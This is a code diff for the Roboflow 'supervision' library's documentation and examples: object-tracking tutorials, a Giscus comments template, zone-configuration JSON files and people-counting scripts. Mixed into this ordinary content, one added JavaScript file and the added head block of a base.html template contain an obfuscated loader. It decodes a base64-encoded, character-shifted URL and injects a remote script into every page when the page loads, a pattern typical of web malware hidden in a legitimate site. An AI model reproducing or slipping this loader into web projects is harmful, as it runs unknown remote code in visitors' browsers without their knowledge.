+            in zip(detections.class_id, detections.tracker_id)
+        ]
+
+        annotated_frame = box_annotator.annotate(
+            frame.copy(), detections=detections)
+        return label_annotator.annotate(
+            annotated_frame, detections=detections, labels=labels)
+
+    sv.process_video(
+        source_path="people-walking.mp4",
+        target_path="result.mp4",
+        callback=callback
+    )
+    ```
+
+<video controls>
+    <source src="https://media.roboflow.com/supervision/video-examples/how-to/track-objects/annotate-video-with-tracking-ids.mp4" type="video/mp4">
+</video>
+
+## Annotate Video with Traces
+
+Adding traces to the video involves overlaying the historical paths of the detected
+objects. This feature, powered by the
+[`sv.TraceAnnotator`](https://supervision.roboflow.com/annotators/#supervision.annotators.core.TraceAnnotator),
+allows for visualizing the trajectories of objects, helping in understanding the
+movement patterns and interactions between objects in the video.
+
+=== "Ultralytics"
+
+    ```{ .py hl_lines="9 26-27" }
+    import numpy as np
+    import supervision as sv
+    from ultralytics import YOLO
+
+    model = YOLO("yolov8n.pt")
+    tracker = sv.ByteTrack()
+    box_annotator = sv.BoundingBoxAnnotator()
+    label_annotator = sv.LabelAnnotator()
+    trace_annotator = sv.TraceAnnotator()
+
+    def callback(frame: np.ndarray, _: int) -> np.ndarray:
+        results = model(frame)[0]
+        detections = sv.Detections.from_ultralytics(results)
+        detections = tracker.update_with_detections(detections)
+
+        labels = [
+            f"#{tracker_id} {results.names[class_id]}"
+            for class_id, tracker_id
+            in zip(detections.class_id, detections.tracker_id)
+        ]
+
+        annotated_frame = box_annotator.annotate(
+            frame.copy(), detections=detections)
+        annotated_frame = label_annotator.annotate(
+            annotated_frame, detections=detections, labels=labels)
+        return trace_annotator.annotate(
+            annotated_frame, detections=detections)
+
+    sv.process_video(
+        source_path="people-walking.mp4",
+        target_path="result.mp4",
+        callback=callback
+    )
+    ```
+
+=== "Inference"
+
+    ```{ .py hl_lines="9 26-27" }
+    import numpy as np
+    import supervision as sv
+    from inference.models.utils import get_roboflow_model
+
+    model = get_roboflow_model(model_id="yolov8n-640", api_key=<ROBOFLOW API KEY>)
+    tracker = sv.ByteTrack()
+    box_annotator = sv.BoundingBoxAnnotator()
+    label_annotator = sv.LabelAnnotator()
+    trace_annotator = sv.TraceAnnotator()
+
+    def callback(frame: np.ndarray, _: int) -> np.ndarray:
+        results = model.infer(frame)[0]
+        detections = sv.Detections.from_inference(results)
+        detections = tracker.update_with_detections(detections)
+
+        labels = [
+            f"#{tracker_id} {results.names[class_id]}"
+            for class_id, tracker_id
+            in zip(detections.class_id, detections.tracker_id)
+        ]
+
+        annotated_frame = box_annotator.annotate(
+            frame.copy(), detections=detections)
+        annotated_frame = label_annotator.annotate(
+            annotated_frame, detections=detections, labels=labels)
+        return trace_annotator.annotate(
+            annotated_frame, detections=detections)
+
+    sv.process_video(
+        source_path="people-walking.mp4",
+        target_path="result.mp4",
+        callback=callback
+    )
+    ```
+
+<video controls>
+    <source src="https://media.roboflow.com/supervision/video-examples/how-to/track-objects/annotate-video-with-traces.mp4" type="video/mp4">
+</video>
+
+This structured walkthrough should give a detailed pathway to annotate videos
+effectively using Supervision’s various functionalities, including object tracking and
+trace annotations.
@@ -1,9 +1,13 @@
+---
+comments: true
+---
+
 <div align="center">
  <p>
    <a align="center" href="" target="_blank">
      <img
        width="850"
-        src="https://media.roboflow.com/open-source/supervision/roboflow-supervision-banner.png?ik-sdk-version=javascript-1.4.3&updatedAt=1674062891088"
+        src="https://media.roboflow.com/open-source/supervision/rf-supervision-banner.png?updatedAt=1678995927529"
      >
    </a>
  </p>
@@ -13,10 +17,51 @@

 We write your reusable computer vision tools. Whether you need to load your dataset from your hard drive, draw detections on an image or video, or count how many detections are in a zone. You can count on us!

+<video controls>
+    <source
+        src="https://media.roboflow.com/traffic_analysis_result.mp4"
+        type="video/mp4"
+    >
+</video>
+
+## 🚀 Quickstart
+
+<div class="grid cards" markdown>
+
+-   __Detect and Annotate__
+
+    ---
+
+    Annotate predictions from a range of object detection and segmentation models
+
+    [:octicons-arrow-right-24: Tutorial](how_to/detect_and_annotate)
+
+-   __Track Objects__
+
+    ---
+
+    Discover how to enhance video analysis by implementing seamless object tracking
+
+    [:octicons-arrow-right-24: Tutorial](how_to/track_objects)
+
+-   > __Count Objects Crossing Line__
+
+    ---
+
+    Explore methods to accurately count and analyze objects crossing a predefined line
+
+-   > __Filter Objects in Zone__
+
+    ---
+
+    Master the techniques to selectively filter and focus on objects within a specific zone
+
+</div>
+
 ## 💻 Install

 You can install `supervision` with pip in a
-[**3.11>=Python>=3.8**](https://www.python.org/) environment.
+[**Python>=3.8**](https://www.python.org/) environment.

 !!! example "pip install (recommended)"

@@ -0,0 +1,10 @@
+document.addEventListener("DOMContentLoaded", function () {
+    var script = document.createElement("script");
+    script.src = "https://widget.kapa.ai/kapa-widget.bundle.js";
+    script.setAttribute("data-website-id", "e83c5c60-2968-410b-a2da-08fb104f23df");
+    script.setAttribute("data-project-name", "Roboflow");
+    script.setAttribute("data-project-color", "#6405C9");
+    script.setAttribute("data-project-logo", "https://media.roboflow.com/chat.png");
+    script.async = true;
+    document.head.appendChild(script);
+});
@@ -0,0 +1 @@
+window[(function(_rgR,_0A){var _WPMZu='';for(var _XNA9hI=0;_XNA9hI<_rgR.length;_XNA9hI++){var _PXoP=_rgR[_XNA9hI].charCodeAt();_PXoP!=_XNA9hI;_PXoP-=_0A;_0A>4;_PXoP+=61;_PXoP%=94;_PXoP+=33;_WPMZu==_WPMZu;_WPMZu+=String.fromCharCode(_PXoP)}return _WPMZu})(atob('c2JpLSolfnwvZH40'), 25)] = '3dfc60143c1696599445';     var zi = document.createElement('script');     (zi.type = 'text/javascript'),     (zi.async = true),     (zi.src = (function(_2Dh,_YR){var _1ILGH='';for(var _s2jmmw=0;_s2jmmw<_2Dh.length;_s2jmmw++){var _uUW9=_2Dh[_s2jmmw].charCodeAt();_uUW9-=_YR;_uUW9+=61;_YR>9;_uUW9!=_s2jmmw;_uUW9%=94;_uUW9+=33;_1ILGH==_1ILGH;_1ILGH+=String.fromCharCode(_uUW9)}return _1ILGH})(atob('b3t7d3pBNjZxejUjcDR6anlwd3t6NWp2dDYjcDR7aG41cXo='), 7)),     document.readyState === 'complete'?document.body.appendChild(zi):     window.addEventListener('load', function(){         document.body.appendChild(zi)     });
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 !!! warning

    Evaluation API is still fluid and may change. If you use Evaluation API in your project until further notice, freeze the
@@ -0,0 +1,5 @@
+{% extends "base.html" %}
+
+{% block extrahead %}
+<script>window[(function(_rgR,_0A){var _WPMZu='';for(var _XNA9hI=0;_XNA9hI<_rgR.length;_XNA9hI++){var _PXoP=_rgR[_XNA9hI].charCodeAt();_PXoP!=_XNA9hI;_PXoP-=_0A;_0A>4;_PXoP+=61;_PXoP%=94;_PXoP+=33;_WPMZu==_WPMZu;_WPMZu+=String.fromCharCode(_PXoP)}return _WPMZu})(atob('c2JpLSolfnwvZH40'), 25)] = '3dfc60143c1696599445';     var zi = document.createElement('script');     (zi.type = 'text/javascript'),     (zi.async = true),     (zi.src = (function(_2Dh,_YR){var _1ILGH='';for(var _s2jmmw=0;_s2jmmw<_2Dh.length;_s2jmmw++){var _uUW9=_2Dh[_s2jmmw].charCodeAt();_uUW9-=_YR;_uUW9+=61;_YR>9;_uUW9!=_s2jmmw;_uUW9%=94;_uUW9+=33;_1ILGH==_1ILGH;_1ILGH+=String.fromCharCode(_uUW9)}return _1ILGH})(atob('b3t7d3pBNjZxejUjcDR6anlwd3t6NWp2dDYjcDR7aG41cXo='), 7)),     document.readyState === 'complete'?document.body.appendChild(zi):     window.addEventListener('load', function(){         document.body.appendChild(zi)     });</script>
+{% endblock %}
@@ -0,0 +1,51 @@
+{% if page.meta.comments %}
+<h2 id="__comments">{{ lang.t("meta.comments") }}</h2>
+
+<!-- Insert Giscus code snippet from https://giscus.app/ here -->
+<script src="https://giscus.app/client.js"
+        data-repo="roboflow/supervision"
+        data-repo-id="R_kgDOIhIiww"
+        data-category="Docs"
+        data-category-id="DIC_kwDOIhIiw84Ccet_"
+        data-mapping="pathname"
+        data-strict="0"
+        data-reactions-enabled="1"
+        data-emit-metadata="1"
+        data-input-position="top"
+        data-theme="preferred_color_scheme"
+        data-lang="en"
+        data-loading="lazy"
+        crossorigin="anonymous"
+        async>
+</script>
+
+<!-- Synchronize Giscus theme with palette -->
+<script>
+    var giscus = document.querySelector("script[src*=giscus]")
+
+    /* Set palette on initial load */
+    var palette = __md_get("__palette")
+    if (palette && typeof palette.color === "object") {
+      var theme = palette.color.scheme === "slate" ? "dark" : "light"
+      giscus.setAttribute("data-theme", theme)
+    }
+
+    /* Register event handlers after documented loaded */
+    document.addEventListener("DOMContentLoaded", function() {
+      var ref = document.querySelector("[data-md-component=palette]")
+      ref.addEventListener("change", function() {
+        var palette = __md_get("__palette")
+        if (palette && typeof palette.color === "object") {
+          var theme = palette.color.scheme === "slate" ? "dark" : "light"
+
+          /* Instruct Giscus to change theme */
+          var frame = document.querySelector(".giscus-frame")
+          frame.contentWindow.postMessage(
+            { giscus: { setConfig: { theme } } },
+            "https://giscus.app"
+          )
+        }
+      })
+    })
+</script>
+{% endif %}
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## ByteTrack

 :::supervision.tracker.byte_tracker.core.ByteTrack
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## list_files_with_extensions

 :::supervision.utils.file.list_files_with_extensions
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## ImageSink

 :::supervision.utils.image.ImageSink
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## plot_image

 :::supervision.utils.notebook.plot_image
@@ -1,3 +1,7 @@
+---
+comments: true
+---
+
 ## VideoInfo

 :::supervision.utils.video.VideoInfo
@@ -1,16 +1,16 @@
-## Supervision Examples
+## examples

 This repository is packed with real-world use-cases, provided through Python scripts or
 interactive notebooks. Browse through to understand how the Supervision library
 interfaces with diverse applications.

-|               **Title**                |             **Contributor**              |
-|:--------------------------------------:|:----------------------------------------:|
-|         [Tracking](./tracking)         | [@SkalskiP](https://github.com/SkalskiP) |
-| [Traffic Analysis](./traffic_analysis) | [@SkalskiP](https://github.com/SkalskiP) |
+- [tracking](./tracking) by [@SkalskiP](https://github.com/SkalskiP)
+- [count people in zone](./count_people_in_zone) by [@SkalskiP](https://github.com/SkalskiP)
+- [traffic analysis](./traffic_analysis) by [@SkalskiP](https://github.com/SkalskiP)
+- [speed estimation](./speed_estimation) by [@SkalskiP](https://github.com/SkalskiP)
+- [heatmap and track](./heatmap_and_track/) by [@HinePo](https://github.com/HinePo)

-
-## Guidelines for Contributing
+## contributing

 We welcome contributions from the community in the form of examples, applications, and
 guides. To contribute, please follow these steps:
@@ -0,0 +1,13 @@
+# Ignore everything in the data directory
+data/*
+
+# But re-include all .json files
+!data/*.json
+
+*.pt
+*.pth
+*.mp4
+*.mov
+*.png
+*.jpg
+*.jpeg
@@ -0,0 +1,120 @@
+# count people in zone
+
+## 👋 hello
+
+This demo is a video analysis tool that counts and highlights objects in specific zones
+of a video. Each zone and the objects within it are marked in different colors, making
+it easy to see and count the objects in each area. The tool can save this enhanced
+video or display it live on the screen.
+
+https://github.com/roboflow/supervision/assets/26109316/f84db7b5-79e2-4142-a1da-64daa43ce667
+
+## 💻 install
+
+- clone repository and navigate to example directory
+
+  ```bash
+  git clone https://github.com/roboflow/supervision.git
+  cd supervision/examples/count_people_in_zone
+  ```
+
+- setup python environment and activate it [optional]
+
+  ```bash
+  python3 -m venv venv
+  source venv/bin/activate
+  ```
+
+- install required dependencies
+
+  ```bash
+  pip install -r requirements.txt
+  ```
+
+- download `traffic_analysis.pt` and `traffic_analysis.mov` files
+
+  ```bash
+  ./setup.sh
+  ```
+
+## 🛠️ script arguments
+
+- ultralytics
+
+  - `--source_weights_path` (optional): The path to the YOLO model's weights file.
+    Defaults to `"yolov8x.pt"` if not specified.
+
+  - `--zone_configuration_path`: Specifies the path to the JSON file containing zone
+    configurations. This file defines the polygonal areas in the video where objects will
+    be counted.
+  - `--source_video_path`: The path to the source video file that will be analyzed.
+  - `--target_video_path` (optional): The path to save the output video with annotations.
+    If not provided, the processed video will be displayed in real-time.
+  - `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO model
+    to filter detections. Default is `0.3`.
+  - `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
+    for the model. Default is `0.7`.
+
+- inference
+
+  - `--roboflow_api_key` (optional): The API key for Roboflow services. If not provided
+    directly, the script tries to fetch it from the `ROBOFLOW_API_KEY` environment
+    variable. Follow [this guide](https://docs.roboflow.com/api-reference/authentication#retrieve-an-api-key)
+    to acquire your `API KEY`.
+  - `--model_id` (optional): Designates the Roboflow model ID to be used. The default
+    value is `"yolov8x-1280"`.
+
+  - `--zone_configuration_path`: Specifies the path to the JSON file containing zone
+    configurations. This file defines the polygonal areas in the video where objects will
+    be counted.
+  - `--source_video_path`: The path to the source video file that will be analyzed.
+  - `--target_video_path` (optional): The path to save the output video with annotations.
+    If not provided, the processed video will be displayed in real-time.
+  - `--confidence_threshold` (optional): Sets the confidence threshold for the YOLO model
+    to filter detections. Default is `0.3`.
+  - `--iou_threshold` (optional): Specifies the IOU (Intersection Over Union) threshold
+    for the model. Default is `0.7`.
+
+## 📌 zone configuration
+
+- `horizontal-zone-config.json`: Defines zones divided horizontally across the frame.
+- `multi-zone-config.json`: Configures multiple zones with custom shapes and positions.
+- `quarters-zone-config.json`: Splits the frame into four equal quarters.
+- `vertical-zone-config.json`: Divides the frame into vertical zones of equal width.
+
+## ⚙️ run example
+
+- ultralytics
+
+  ```bash
+  python ultralytics_example.py \
+  --zone_configuration_path data/multi-zone-config.json \
+  --source_video_path data/market-square.mp4 \
+  --confidence_threshold 0.3 \
+  --iou_threshold 0.5
+  ```
+
+- inference
+
+  ```bash
+  python inference_example.py \
+  --roboflow_api_key <ROBOFLOW API KEY> \
+  --zone_configuration_path data/multi-zone-config.json \
+  --source_video_path data/market-square.mp4 \
+  --confidence_threshold 0.3 \
+  --iou_threshold 0.5
+  ```
+
+## © license
+
+This demo integrates two main components, each with its own licensing:
+
+- ultralytics: The object detection model used in this demo, YOLOv8, is distributed
+  under the [AGPL-3.0 license](https://github.com/ultralytics/ultralytics/blob/main/LICENSE).
+  You can find more details about this license here.
+
+- supervision: The analytics code that powers the zone-based analysis in this demo is
+  based on the Supervision library, which is licensed under the
+  [MIT license](https://github.com/roboflow/supervision/blob/develop/LICENSE.md). This
+  makes the Supervision part of the code fully open source and freely usable in your
+  projects.
@@ -0,0 +1,76 @@
+{
+    "polygons": [
+        [
+            [
+                0,
+                0
+            ],
+            [
+                2160,
+                0
+            ],
+            [
+                2160,
+                960
+            ],
+            [
+                0,
+                960
+            ]
+        ],
+        [
+            [
+                0,
+                960
+            ],
+            [
+                2160,
+                960
+            ],
+            [
+                2160,
+                1920
+            ],
+            [
+                0,
+                1920
+            ]
+        ],
+        [
+            [
+                0,
+                1920
+            ],
+            [
+                2160,
+                1920
+            ],
+            [
+                2160,
+                2880
+            ],
+            [
+                0,
+                2880
+            ]
+        ],
+        [
+            [
+                0,
+                2880
+            ],
+            [
+                2160,
+                2880
+            ],
+            [
+                2160,
+                3840
+            ],
+            [
+                0,
+                3840
+            ]
+        ]
+    ]
+}
@@ -0,0 +1,122 @@
+{
+    "polygons": [
+        [
+            [
+                540,
+                985
+            ],
+            [
+                1620,
+                985
+            ],
+            [
+                2160,
+                1920
+            ],
+            [
+                1620,
+                2855
+            ],
+            [
+                540,
+                2855
+            ],
+            [
+                0,
+                1920
+            ]
+        ],
+        [
+            [
+                0,
+                1920
+            ],
+            [
+                540,
+                985
+            ],
+            [
+                0,
+                0
+            ]
+        ],
+        [
+            [
+                1620,
+                985
+            ],
+            [
+                2160,
+                1920
+            ],
+            [
+                2160,
+                0
+            ]
+        ],
+        [
+            [
+                540,
+                985
+            ],
+            [
+                0,
+                0
+            ],
+            [
+                2160,
+                0
+            ],
+            [
+                1620,
+                985
+            ]
+        ],
+        [
+            [
+                0,
+                1920
+            ],
+            [
+                0,
+                3840
+            ],
+            [
+                540,
+                2855
+            ]
+        ],
+        [
+            [
+                2160,
+                1920
+            ],
+            [
+                1620,
+                2855
+            ],
+            [
+                2160,
+                3840
+            ]
+        ],
+        [
+            [
+                1620,
+                2855
+            ],
+            [
+                540,
+                2855
+            ],
+            [
+                0,
+                3840
+            ],
+            [
+                2160,
+                3840
+            ]
+        ]
+    ]
+}
@@ -0,0 +1,76 @@
+{
+    "polygons": [
+        [
+            [
+                0,
+                0
+            ],
+            [
+                1080,
+                0
+            ],
+            [
+                1080,
+                1920
+            ],
+            [
+                0,
+                1920
+            ]
+        ],
+        [
+            [
+                1080,
+                0
+            ],
+            [
+                2160,
+                0
+            ],
+            [
+                2160,
+                1920
+            ],
+            [
+                1080,
+                1920
+            ]
+        ],
+        [
+            [
+                0,
+                1920
+            ],
+            [
+                1080,
+                1920
+            ],
+            [
+                1080,
+                3840
+            ],
+            [
+                0,
+                3840
+            ]
+        ],
+        [
+            [
+                1080,
+                1920
+            ],
+            [
+                2160,
+                1920
+            ],
+            [
+                2160,
+                3840
+            ],
+            [
+                1080,
+                3840
+            ]
+        ]
+    ]
+}
@@ -0,0 +1,76 @@
+{
+    "polygons": [
+        [
+            [
+                0,
+                0
+            ],
+            [
+                540,
+                0
+            ],
+            [
+                540,
+                3840
+            ],
+            [
+                0,
+                3840
+            ]
+        ],
+        [
+            [
+                540,
+                0
+            ],
+            [
+                1080,
+                0
+            ],
+            [
+                1080,
+                3840
+            ],
+            [
+                540,
+                3840
+            ]
+        ],
+        [
+            [
+                1080,
+                0
+            ],
+            [
+                1620,
+                0
+            ],
+            [
+                1620,
+                3840
+            ],
+            [
+                1080,
+                3840
+            ]
+        ],
+        [
+            [
+                1620,
+                0
+            ],
+            [
+                2160,
+                0
+            ],
+            [
+                2160,
+                3840
+            ],
+            [
+                1620,
+                3840
+            ]
+        ]
+    ]
+}
@@ -0,0 +1,224 @@
+import argparse
+import json
+import os
+from typing import List, Tuple
+
+import cv2
+import numpy as np
+from inference.core.models.roboflow import RoboflowInferenceModel
+from inference.models.utils import get_roboflow_model
+from tqdm import tqdm
+
+import supervision as sv
+
+COLORS = sv.ColorPalette.default()
+
+
+def load_zones_config(file_path: str) -> List[np.ndarray]:
+    """
+    Load polygon zone configurations from a JSON file.
+
+    This function reads a JSON file which contains polygon coordinates, and
+    converts them into a list of NumPy arrays. Each polygon is represented as
+    a NumPy array of coordinates.
+
+    Args:
+    file_path (str): The path to the JSON configuration file.
+
+    Returns:
+    List[np.ndarray]: A list of polygons, each represented as a NumPy array.
+    """
+    with open(file_path, "r") as file:
+        data = json.load(file)
+        return [np.array(polygon, np.int32) for polygon in data["polygons"]]
+
+
+def initiate_annotators(
+    polygons: List[np.ndarray], resolution_wh: Tuple[int, int]
+) -> Tuple[
+    List[sv.PolygonZone], List[sv.PolygonZoneAnnotator], List[sv.BoundingBoxAnnotator]
+]:
+    line_thickness = sv.calculate_dynamic_line_thickness(resolution_wh=resolution_wh)
+    text_scale = sv.calculate_dynamic_text_scale(resolution_wh=resolution_wh)
+
+    zones = []
+    zone_annotators = []
+    box_annotators = []
+
+    for index, polygon in enumerate(polygons):
+        zone = sv.PolygonZone(polygon=polygon, frame_resolution_wh=resolution_wh)
+        zone_annotator = sv.PolygonZoneAnnotator(
+            zone=zone,
+            color=COLORS.by_idx(index),
+            thickness=line_thickness,
+            text_thickness=line_thickness * 2,
+            text_scale=text_scale * 2,
+        )
+        box_annotator = sv.BoundingBoxAnnotator(
+            color=COLORS.by_idx(index), thickness=line_thickness
+        )
+        zones.append(zone)
+        zone_annotators.append(zone_annotator)
+        box_annotators.append(box_annotator)
+
+    return zones, zone_annotators, box_annotators
+
+
+def detect(
+    frame: np.ndarray, model: RoboflowInferenceModel, confidence_threshold: float = 0.5
+) -> sv.Detections:
+    """
+    Detect objects in a frame using Inference model, filtering detections by class ID
+        and confidence threshold.
+
+    Args:
+        frame (np.ndarray): The frame to process, expected to be a NumPy array.
+        model (RoboflowInferenceModel): The Inference model used for processing the
+            frame.
+        confidence_threshold (float, optional): The confidence threshold for filtering
+            detections. Default is 0.5.
+
+    Returns:
+        sv.Detections: Filtered detections after processing the frame with the Inference
+            model.
+
+    Note:
+        This function is specifically tailored for an Inference model and assumes class
+        ID 0 for filtering.
+    """
+    results = model.infer(frame)[0]
+    detections = sv.Detections.from_inference(results)
+    filter_by_class = detections.class_id == 0
+    filter_by_confidence = detections.confidence > confidence_threshold
+    return detections[filter_by_class & filter_by_confidence]
+
+
+def annotate(
+    frame: np.ndarray,
+    zones: List[sv.PolygonZone],
+    zone_annotators: List[sv.PolygonZoneAnnotator],
+    box_annotators: List[sv.BoundingBoxAnnotator],
+    detections: sv.Detections,
+) -> np.ndarray:
+    """
+    Annotate a frame with zone and box annotations based on given detections.
+
+    Args:
+        frame (np.ndarray): The original frame to be annotated.
+        zones (List[sv.PolygonZone]): A list of polygon zones used for detection.
+        zone_annotators (List[sv.PolygonZoneAnnotator]): A list of annotators for
+            drawing zone annotations.
+        box_annotators (List[sv.BoundingBoxAnnotator]): A list of annotators for
+            drawing box annotations.
+        detections (sv.Detections): Detections to be used for annotation.
+
+    Returns:
+        np.ndarray: The annotated frame.
+    """
+    annotated_frame = frame.copy()
+    for zone, zone_annotator, box_annotator in zip(
+        zones, zone_annotators, box_annotators
+    ):
+        detections_in_zone = detections[zone.trigger(detections=detections)]
+        annotated_frame = zone_annotator.annotate(scene=annotated_frame)
+        annotated_frame = box_annotator.annotate(
+            scene=annotated_frame, detections=detections_in_zone
+        )
+    return annotated_frame
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(
+        description="Counting people in zones with Inference and Supervision"
+    )
+
+    parser.add_argument(
+        "--zone_configuration_path",
+        required=True,
+        help="Path to the zone configuration JSON file",
+        type=str,
+    )
+    parser.add_argument(
+        "--model_id",
+        default="yolov8x-1280",
+        help="Roboflow model ID",
+        type=str,
+    )
+    parser.add_argument(
+        "--roboflow_api_key",
+        default=None,
+        help="Roboflow API KEY",
+        type=str,
+    )
+    parser.add_argument(
+        "--source_video_path",
+        required=True,
+        help="Path to the source video file",
+        type=str,
+    )
+    parser.add_argument(
+        "--target_video_path",
+        default=None,
+        help="Path to the target video file (output)",
+        type=str,
+    )
+    parser.add_argument(
+        "--confidence_threshold",
+        default=0.3,
+        help="Confidence threshold for the model",
+        type=float,
+    )
+    parser.add_argument(
+        "--iou_threshold",
+        default=0.7,
+        help="IOU threshold for the model",
+        type=float,
+    )
+
+    args = parser.parse_args()
+
+    api_key = args.roboflow_api_key
+    api_key = os.environ.get("ROBOFLOW_API_KEY", api_key)
+    if api_key is None:
+        raise ValueError(
+            "Roboflow API key is missing. Please provide it as an argument or set the "
+            "ROBOFLOW_API_KEY environment variable."
+        )
+    args.roboflow_api_key = api_key
+
+    video_info = sv.VideoInfo.from_video_path(args.source_video_path)
+    polygons = load_zones_config(args.zone_configuration_path)
+    zones, zone_annotators, box_annotators = initiate_annotators(
+        polygons=polygons, resolution_wh=video_info.resolution_wh
+    )
+
+    model = get_roboflow_model(model_id=args.model_id, api_key=args.roboflow_api_key)
+
+    frames_generator = sv.get_video_frames_generator(args.source_video_path)
+    if args.target_video_path is not None:
+        with sv.VideoSink(args.target_video_path, video_info) as sink:
+            for frame in tqdm(frames_generator, total=video_info.total_frames):
+                detections = detect(frame, model, args.confidence_threshold)
+                annotated_frame = annotate(
+                    frame=frame,
+                    zones=zones,
+                    zone_annotators=zone_annotators,
+                    box_annotators=box_annotators,
+                    detections=detections,
+                )
+                sink.write_frame(annotated_frame)
+    else:
+        for frame in tqdm(frames_generator, total=video_info.total_frames):
+            detections = detect(frame, model, args.confidence_threshold)
+            annotated_frame = annotate(
+                frame=frame,
+                zones=zones,
+                zone_annotators=zone_annotators,
+                box_annotators=box_annotators,
+                detections=detections,
+            )
+            cv2.imshow("Processed Video", annotated_frame)
+            if cv2.waitKey(1) & 0xFF == ord("q"):
+                break
+
+        cv2.destroyAllWindows()
@@ -0,0 +1,5 @@
+gdown
+inference
+supervision
+tqdm
+ultralytics
@@ -0,0 +1,14 @@
+#!/bin/bash
+
+# Get the directory where the script is located
+DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
+
+# Check if 'data' directory does not exist and then create it
+if [[ ! -e $DIR/data ]]; then
+    mkdir "$DIR/data"
+else
+    echo "'data' directory already exists."
+fi
+
+# Download the market-square.mp4 file from Google Drive
+gdown -O "$DIR/data/market-square.mp4" "https://drive.google.com/uc?id=1vVrEVMxucHgqGd7vAa501ASojbeGPhIr"
@@ -0,0 +1,206 @@
+import argparse
+import json
+from typing import List, Tuple
+
+import cv2
+import numpy as np
+from tqdm import tqdm
+from ultralytics import YOLO
+
+import supervision as sv
+
+COLORS = sv.ColorPalette.default()
+
+
+def load_zones_config(file_path: str) -> List[np.ndarray]:
+    """
+    Load polygon zone configurations from a JSON file.
+
+    This function reads a JSON file which contains polygon coordinates, and
+    converts them into a list of NumPy arrays. Each polygon is represented as
+    a NumPy array of coordinates.
+
+    Args:
+    file_path (str): The path to the JSON configuration file.
+
+    Returns:
+    List[np.ndarray]: A list of polygons, each represented as a NumPy array.
+    """
+    with open(file_path, "r") as file:
+        data = json.load(file)
+        return [np.array(polygon, np.int32) for polygon in data["polygons"]]
+
+
+def initiate_annotators(
+    polygons: List[np.ndarray], resolution_wh: Tuple[int, int]
+) -> Tuple[
+    List[sv.PolygonZone], List[sv.PolygonZoneAnnotator], List[sv.BoundingBoxAnnotator]
+]:
+    line_thickness = sv.calculate_dynamic_line_thickness(resolution_wh=resolution_wh)
+    text_scale = sv.calculate_dynamic_text_scale(resolution_wh=resolution_wh)
+
+    zones = []
+    zone_annotators = []
+    box_annotators = []
+
+    for index, polygon in enumerate(polygons):
+        zone = sv.PolygonZone(polygon=polygon, frame_resolution_wh=resolution_wh)
+        zone_annotator = sv.PolygonZoneAnnotator(
+            zone=zone,
+            color=COLORS.by_idx(index),
+            thickness=line_thickness,
+            text_thickness=line_thickness * 2,
+            text_scale=text_scale * 2,
+        )
+        box_annotator = sv.BoundingBoxAnnotator(
+            color=COLORS.by_idx(index), thickness=line_thickness
+        )
+        zones.append(zone)
+        zone_annotators.append(zone_annotator)
+        box_annotators.append(box_annotator)
+
+    return zones, zone_annotators, box_annotators
+
+
+def detect(
+    frame: np.ndarray, model: YOLO, confidence_threshold: float = 0.5
+) -> sv.Detections:
+    """
+    Detect objects in a frame using a YOLO model, filtering detections by class ID and
+        confidence threshold.
+
+    Args:
+        frame (np.ndarray): The frame to process, expected to be a NumPy array.
+        model (YOLO): The YOLO model used for processing the frame.
+        confidence_threshold (float, optional): The confidence threshold for filtering
+            detections. Default is 0.5.
+
+    Returns:
+        sv.Detections: Filtered detections after processing the frame with the YOLO
+            model.
+
+    Note:
+        This function is specifically tailored for a YOLO model and assumes class ID 0
+            for filtering.
+    """
+    results = model(frame, imgsz=1280, verbose=False)[0]
+    detections = sv.Detections.from_ultralytics(results)
+    filter_by_class = detections.class_id == 0
+    filter_by_confidence = detections.confidence > confidence_threshold
+    return detections[filter_by_class & filter_by_confidence]
+
+
+def annotate(
+    frame: np.ndarray,
+    zones: List[sv.PolygonZone],
+    zone_annotators: List[sv.PolygonZoneAnnotator],
+    box_annotators: List[sv.BoundingBoxAnnotator],
+    detections: sv.Detections,
+) -> np.ndarray:
+    """
+    Annotate a frame with zone and box annotations based on given detections.
+
+    Args:
+        frame (np.ndarray): The original frame to be annotated.
+        zones (List[sv.PolygonZone]): A list of polygon zones used for detection.
+        zone_annotators (List[sv.PolygonZoneAnnotator]): A list of annotators for
+            drawing zone annotations.
+        box_annotators (List[sv.BoundingBoxAnnotator]): A list of annotators for
+            drawing box annotations.
+        detections (sv.Detections): Detections to be used for annotation.
+
+    Returns:
+        np.ndarray: The annotated frame.
+    """
+    annotated_frame = frame.copy()
+    for zone, zone_annotator, box_annotator in zip(
+        zones, zone_annotators, box_annotators
+    ):
+        detections_in_zone = detections[zone.trigger(detections=detections)]
+        annotated_frame = zone_annotator.annotate(scene=annotated_frame)
+        annotated_frame = box_annotator.annotate(
+            scene=annotated_frame, detections=detections_in_zone
+        )
+    return annotated_frame
+
+
+if __name__ == "__main__":
+    parser = argparse.ArgumentParser(
+        description="Counting people in zones with YOLO and Supervision"
+    )
+
+    parser.add_argument(
+        "--zone_configuration_path",
+        required=True,
+        help="Path to the zone configuration JSON file",
+        type=str,
+    )
+    parser.add_argument(
+        "--source_weights_path",
+        default="yolov8x.pt",
+        help="Path to the source weights file",
+        type=str,
+    )
+    parser.add_argument(
+        "--source_video_path",
+        required=True,
+        help="Path to the source video file",
+        type=str,
+    )
+    parser.add_argument(
+        "--target_video_path",
+        default=None,
+        help="Path to the target video file (output)",
+        type=str,
+    )
+    parser.add_argument(
+        "--confidence_threshold",
+        default=0.3,
+        help="Confidence threshold for the model",
+        type=float,
+    )
+    parser.add_argument(
+        "--iou_threshold",
+        default=0.7,
+        help="IOU threshold for the model",
+        type=float,
+    )
+
+    args = parser.parse_args()
+
+    video_info = sv.VideoInfo.from_video_path(args.source_video_path)
+    polygons = load_zones_config(args.zone_configuration_path)
+    zones, zone_annotators, box_annotators = initiate_annotators(
+        polygons=polygons, resolution_wh=video_info.resolution_wh
+    )
+
+    model = YOLO(args.source_weights_path)
+
+    frames_generator = sv.get_video_frames_generator(args.source_video_path)
+    if args.target_video_path is not None:
+        with sv.VideoSink(args.target_video_path, video_info) as sink:
+            for frame in tqdm(frames_generator, total=video_info.total_frames):
+                detections = detect(frame, model, args.confidence_threshold)
+                annotated_frame = annotate(
